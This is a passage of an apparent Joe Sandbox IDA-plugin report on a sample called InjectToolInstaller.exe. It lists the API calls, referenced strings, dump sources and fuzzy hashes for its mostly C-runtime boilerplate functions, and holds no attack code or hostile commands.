GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
_free.LIBCMT ref: 013E5A02
_free.LIBCMT ref: 013E5A2A
SetLastError.KERNEL32(00000000), ref: 013E5A37
SetLastError.KERNEL32(00000000), ref: 013E5A43
_abort.LIBCMT ref: 013E5A49

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b87f5f80e7082ea2e3cf6a55c87415633bb5e9d9d9ef19f973e861c53f156cd7
Instruction ID: 0b3ad559a56012e54e0269ca4cf8ad5a9b3cf5192147b31e80b8909e47dd58f6
Opcode Fuzzy Hash: b87f5f80e7082ea2e3cf6a55c87415633bb5e9d9d9ef19f973e861c53f156cd7
Instruction Fuzzy Hash: 78F0D17B10472227E223623C7D8DE1E2ADF9FE167DF250018FA14A31D4FE3088014621

Uniqueness

Uniqueness Score: -1.00%

Function 013CE484 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\InjectToolInstaller.exe,00000104), ref: 013CE4C4
_free.LIBCMT ref: 013CE58F
_free.LIBCMT ref: 013CE599

Strings

@C, xrefs: 013CE545, 013CE588
C:\Users\user\Desktop\InjectToolInstaller.exe, xrefs: 013CE4BB, 013CE4C2, 013CE4F1, 013CE529

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$FileModuleName
String ID: @C$C:\Users\user\Desktop\InjectToolInstaller.exe
API String ID: 2506810119-1926854062
Opcode ID: 41839dc530c871641bf8679098926f7c306b6bf6f627f19b8621c746ed0f5599
Instruction ID: 973b7244ec227c990eac0b8bd69897680c824613b2daf912233351eac1eff925
Opcode Fuzzy Hash: 41839dc530c871641bf8679098926f7c306b6bf6f627f19b8621c746ed0f5599
Instruction Fuzzy Hash: 29316071A00219EFDB21DB9DD884D9EBFFCEB95B58F14406AE905E7210E7B08E40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CE201 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,01411B72,00000104), ref: 013CE25E

Part of subcall function 013E51A5: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013E51A7
Part of subcall function 013E51A5: GetCurrentProcess.KERNEL32(C0000417,013D1B53,00000016,013E5A4E), ref: 013E51C9
Part of subcall function 013E51A5: TerminateProcess.KERNEL32(00000000), ref: 013E51D0

Strings

Runtime Error!Program: , xrefs: 013CE22A
<program name unknown>, xrefs: 013CE26D
..., xrefs: 013CE2B9
Microsoft Visual C++ Runtime Library, xrefs: 013CE2FD

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Process$CurrentFeatureFileModuleNamePresentProcessorTerminate
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 872218275-4022980321
Opcode ID: f16887b01ce4bfa5accf8554092993a18d8bb6a45ca8e824e0f5458c5789319e
Instruction ID: f9c44c14d3b63c930c99c61ca11bd80b0d31227a0c4d932b0de38fbb7118f38c
Opcode Fuzzy Hash: f16887b01ce4bfa5accf8554092993a18d8bb6a45ca8e824e0f5458c5789319e
Instruction Fuzzy Hash: 3131067664030636EB262B3A9C0AF6B3F5E9B94F5CF54013DFE04951A6F672D921C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 013CF8D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,013CF865,00000003,?,013CF805,00000003,0140DBE8,0000000C,013CF996,00000003,00000002), ref: 013CF8F8
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,013CF865,00000003,?,013CF805,00000003,0140DBE8,0000000C,013CF996,00000003,00000002), ref: 013CF90B
FreeLibrary.KERNEL32(00000000,?,?,?,013CF865,00000003,?,013CF805,00000003,0140DBE8,0000000C,013CF996,00000003,00000002,00000000), ref: 013CF92E

Strings

CorExitProcess, xrefs: 013CF903
mscoree.dll, xrefs: 013CF8F1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: da45fba07de944f1003b49b46deca55c1ecb6342d6f8cffe0f330b159f010799
Instruction ID: 0b13ead5a1060a2a3c2133ae4edc29ff85b7008b491aeca264e3015afab701bc
Opcode Fuzzy Hash: da45fba07de944f1003b49b46deca55c1ecb6342d6f8cffe0f330b159f010799
Instruction Fuzzy Hash: 61F04471601109BBDB219F55DC49BED7FBDEB04B19F10006DF905A2154DB749E44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013C7918 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,013C78D3), ref: 013C7925
GetLastError.KERNEL32(?,013C78D3), ref: 013C792F
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 013C796D

Strings

api-ms-, xrefs: 013C793C
ext-ms-, xrefs: 013C7952

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: 322fde32cc7722aff7faa84bb9ab578221ef8d5ef12c14e4ead77559c289ddea
Instruction ID: ce2898a4765c6ecbebc683f4b2e07eb886c7134424adc91b565dbaf3934f9901
Opcode Fuzzy Hash: 322fde32cc7722aff7faa84bb9ab578221ef8d5ef12c14e4ead77559c289ddea
Instruction Fuzzy Hash: FEF01231684305B7EF612A75EC06F993E586B10B55F140024FD0CA40E5E771D9559A84

Uniqueness

Uniqueness Score: -1.00%

Function 013AA043 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000078), ref: 013AA051
GetModuleHandleW.KERNEL32(kernel32.dll,CreateHardLinkW), ref: 013AA065
GetProcAddress.KERNEL32(00000000), ref: 013AA06C

Strings

CreateHardLinkW, xrefs: 013AA05B
kernel32.dll, xrefs: 013AA060

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: CreateHardLinkW$kernel32.dll
API String ID: 4275029093-294928789
Opcode ID: 35f689f420f67e6654b1df1ec0c17995ba21d063c2b75a3f52b0f35b212ebb96
Instruction ID: 58e7235a67bcadc43e6c910d2d97910b1ea0b119a0506a5296aee63f51bc5308
Opcode Fuzzy Hash: 35f689f420f67e6654b1df1ec0c17995ba21d063c2b75a3f52b0f35b212ebb96
Instruction Fuzzy Hash: B3E04F73281206BBDB319FB5AC4EB293B5D9B05708F448418BB48D5194DA759150D721

Uniqueness

Uniqueness Score: -1.00%

Function 013D0B8D Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 013D1C49: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

_free.LIBCMT ref: 013D0C98
_free.LIBCMT ref: 013D0CAF
_free.LIBCMT ref: 013D0CCE
_free.LIBCMT ref: 013D0CE9
_free.LIBCMT ref: 013D0D00

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: a909a3cc996bdb509625a77d1b2f7dfed85aa3ef250dac0925ba884d5954098d
Instruction ID: 37b17038fb843b0c113243991e3506e9e1ff8d9227e39ab7efe20131ea092794
Opcode Fuzzy Hash: a909a3cc996bdb509625a77d1b2f7dfed85aa3ef250dac0925ba884d5954098d
Instruction Fuzzy Hash: BB51D172A007059FDF259F2EE841A6A77F5EB54B28F14056AF909DB290E731E9418B40

Uniqueness

Uniqueness Score: -1.00%

Function 013D172B Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 013D179D
_free.LIBCMT ref: 013D17BD

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: da9e8bb7e977291c5c9f9c0fac3934bfb126fcde30bb5b7a8041a81d8732fb8f
Instruction ID: 06de2e7d1ccb8caae28eda890b06c9cce2ba3414ef1b88d29cd71b76fcd2d223
Opcode Fuzzy Hash: da9e8bb7e977291c5c9f9c0fac3934bfb126fcde30bb5b7a8041a81d8732fb8f
Instruction Fuzzy Hash: 3C41B277E00204DFDB24DF7CE880A59B7F6EF84718F164669E515EB291DB31A901CB80

Uniqueness

Uniqueness Score: -1.00%

Function 013A70F4 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,013A70EE,?,?,?), ref: 013A7124
GetLastError.KERNEL32(?,?,?,?,013A70EE,?,?,?,0000005F,?), ref: 013A7130
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,?,?,?,00000000,?,?,?,?,013A70EE,?,?,?), ref: 013A7190
__CxxThrowException@8.LIBVCRUNTIME ref: 013A71CF
__EH_prolog3.LIBCMT ref: 013A71DC

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorException@8H_prolog3LastThrow
String ID:
API String ID: 3113017287-0
Opcode ID: 94c06ab52a276309ce6b523e70dc6b919bfdedef22ea840beec803f3ef561ca6
Instruction ID: 8f72ccb6b6ef5ee9dd10b8e6ba1a3099bb9e9699ecc25509f86da1a171080730
Opcode Fuzzy Hash: 94c06ab52a276309ce6b523e70dc6b919bfdedef22ea840beec803f3ef561ca6
Instruction Fuzzy Hash: AB41AD7150024AEFEB11CF18C888BAA3BE9EF15309F448059F8548B251D3B2DA14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013A6480 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

CharUpperW.USER32 ref: 013A649A
GetLastError.KERNEL32 ref: 013A64A6
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000), ref: 013A64C3
CharUpperA.USER32 ref: 013A64E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001), ref: 013A64F4

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Char$ByteMultiUpperWide$ErrorLast
String ID:
API String ID: 3939315453-0
Opcode ID: 195b161bc6d2b5a6ecc20d93831a1fb831eeb295020ed6f2512683e64d5dd4c4
Instruction ID: 35e2f7e6b17ac03044048242fb6a265d10470535c946ae40bd6c7a46c58f1255
Opcode Fuzzy Hash: 195b161bc6d2b5a6ecc20d93831a1fb831eeb295020ed6f2512683e64d5dd4c4
Instruction Fuzzy Hash: 473186BA900119EEDB10AFA8DC859FE77ACEB04768B88451AFE95D3144D674DE40C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 013ACDA5 Relevance: 7.6, APIs: 5, Instructions: 89fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013ACDAC
DragQueryFileA.SHELL32(?,?,00000000,00000000,?,?,?,?,?,00000020), ref: 013ACDF1
DragQueryFileA.SHELL32(?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,00000020), ref: 013ACE18
DragQueryFileW.SHELL32(?,?,00000000,00000000), ref: 013ACE6B
DragQueryFileW.SHELL32(?,?,?,00000001), ref: 013ACE90

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DragFileQuery$H_prolog3
String ID:
API String ID: 1416336515-0
Opcode ID: c30d370a0790b77f18e105bf55eaceabc78717a407030063a87258da6c2331b4
Instruction ID: 8f909d5ac31782577dd58b03951443be5427ca3bf60d4e1a195b980441ec00b3
Opcode Fuzzy Hash: c30d370a0790b77f18e105bf55eaceabc78717a407030063a87258da6c2331b4
Instruction Fuzzy Hash: 7D314DB990020AEFDF11EFA8C8809EEBBB9FF18308F505419E555A7221DB355914CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013A7008 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,?,?,?,?,013A70CB,?,?,00000000,00000004,013A6F8B), ref: 013A7030
GetLastError.KERNEL32(?,?,?,?,013A70CB,?,?,00000000,00000004,013A6F8B,?,?,00000001), ref: 013A703C
MultiByteToWideChar.KERNEL32(00000001,00000000,?,00000000,?,?,?,?,?,?,013A70CB,?,?,00000000,00000004,013A6F8B), ref: 013A7062
__CxxThrowException@8.LIBVCRUNTIME ref: 013A7090
__EH_prolog3.LIBCMT ref: 013A709D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorException@8H_prolog3LastThrow
String ID:
API String ID: 3113017287-0
Opcode ID: 20be948a0bbf32ca900bd441a4654ab8106bd650c1fc56bbd2f2b939c6a26877
Instruction ID: d6998d80f592865dd3ba35ac041609ed3950a4b9df7b8d48f585ec94849a1a6a
Opcode Fuzzy Hash: 20be948a0bbf32ca900bd441a4654ab8106bd650c1fc56bbd2f2b939c6a26877
Instruction Fuzzy Hash: 92217A75600206EBDF219F59CC84FAEBBB9FF98715F00842EF9149B260C772D9108B60

Uniqueness

Uniqueness Score: -1.00%

Function 013B82EE Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B8307
_memcmp.LIBVCRUNTIME ref: 013B831A
_memcmp.LIBVCRUNTIME ref: 013B8334
_memcmp.LIBVCRUNTIME ref: 013B834F
_memcmp.LIBVCRUNTIME ref: 013B836A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 8b17c9985b20416eb2bd315242de8e21961fb4b1764b10cc1bf8d873a048909f
Instruction ID: cc402d3c4a73fb574948d25a8d2b0139092dc91eb5638326c5fc3c83ca6d03a9
Opcode Fuzzy Hash: 8b17c9985b20416eb2bd315242de8e21961fb4b1764b10cc1bf8d873a048909f
Instruction Fuzzy Hash: 6911BF7960020BBBD7019E19CCC1FBBB3BCAB91ACCB14816DFE489A512F230DD4587A0

Uniqueness

Uniqueness Score: -1.00%

Function 013B4508 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B4521
_memcmp.LIBVCRUNTIME ref: 013B4534
_memcmp.LIBVCRUNTIME ref: 013B454E
_memcmp.LIBVCRUNTIME ref: 013B4569
_memcmp.LIBVCRUNTIME ref: 013B4584

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 353b62cdf38d221571068d6ca1f4e1cc41e88d219ab49b5c80362aff756d379e
Instruction ID: 9b50b5a25497b2b0b993f69e2fd0aa68e96d0db1d5c82c9e49fabf918b491c64
Opcode Fuzzy Hash: 353b62cdf38d221571068d6ca1f4e1cc41e88d219ab49b5c80362aff756d379e
Instruction Fuzzy Hash: F011937160060AABD7018E1ADC81FBB737CAB91ADCB14813EFE458A903F230DD458794

Uniqueness

Uniqueness Score: -1.00%

Function 013E8E42 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 013E8E4B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 013E8E6E

Part of subcall function 013D1C49: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 013E8E94
_free.LIBCMT ref: 013E8EA7
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 013E8EB6

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: ad9b04ad6b44e999aaab4ac2fb5acb6ab79b5dbd1819d9d760941391e233f97d
Instruction ID: 170131519e925275aa6aad0a59048102baf56349ffc36f6140ac029357634d5d
Opcode Fuzzy Hash: ad9b04ad6b44e999aaab4ac2fb5acb6ab79b5dbd1819d9d760941391e233f97d
Instruction Fuzzy Hash: 9F017573A013267FE721166E6D4CC7B6EADDEC6E68314019DFD08D3284DA618C0181B0

Uniqueness

Uniqueness Score: -1.00%

Function 013E5A4F Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,013E52A3,013D1D9D,?,013E59F9,00000001,00000364,?,013CDA6D,0140DBA8,00000010), ref: 013E5A54
_free.LIBCMT ref: 013E5A89
_free.LIBCMT ref: 013E5AB0
SetLastError.KERNEL32(00000000), ref: 013E5ABD
SetLastError.KERNEL32(00000000), ref: 013E5AC6

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: af6003beadcb162ae701c50104fc3010192e6dd47c6f3b82dd380e83a25d539d
Instruction ID: b9868ecf14b1710c74e827d7cb8ed75c35c9dced2f2b955b07dc4f87df09af26
Opcode Fuzzy Hash: af6003beadcb162ae701c50104fc3010192e6dd47c6f3b82dd380e83a25d539d
Instruction Fuzzy Hash: A501D67F2017222BE723B67D6DCCD2B26DE9BD127CB250028F905932C5EF3084014660

Uniqueness

Uniqueness Score: -1.00%

Function 013F8A22 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 013F8A38
GetLastError.KERNEL32(?,?,?), ref: 013F8A42
__dosmaperr.LIBCMT ref: 013F8A49
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 013F8A67
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000), ref: 013F8A8D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FilePointer$ErrorLast__dosmaperr
String ID:
API String ID: 1114809156-0
Opcode ID: fd9f3dbe07eed0b5bd875be8deb2a2d763e9040a81b18acdd0a1067e3886f5ff
Instruction ID: 092b110f9da1d7f440812bb290cdfe825c00489675b5a5e200debe9c07022149
Opcode Fuzzy Hash: fd9f3dbe07eed0b5bd875be8deb2a2d763e9040a81b18acdd0a1067e3886f5ff
Instruction Fuzzy Hash: 1B018032901119BBEF219F98CC488EF7F7DEF01764F044589F92896290D7318554DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013EAA0D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 013EAA25

Part of subcall function 013D1C0F: HeapFree.KERNEL32(00000000,00000000), ref: 013D1C25
Part of subcall function 013D1C0F: GetLastError.KERNEL32(?,?,013EADAE,?,00000000,?,00000000,?,013EB0D0,?,00000007,?,?,013EBF1C,?,?), ref: 013D1C37

_free.LIBCMT ref: 013EAA37
_free.LIBCMT ref: 013EAA49
_free.LIBCMT ref: 013EAA5B
_free.LIBCMT ref: 013EAA6D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

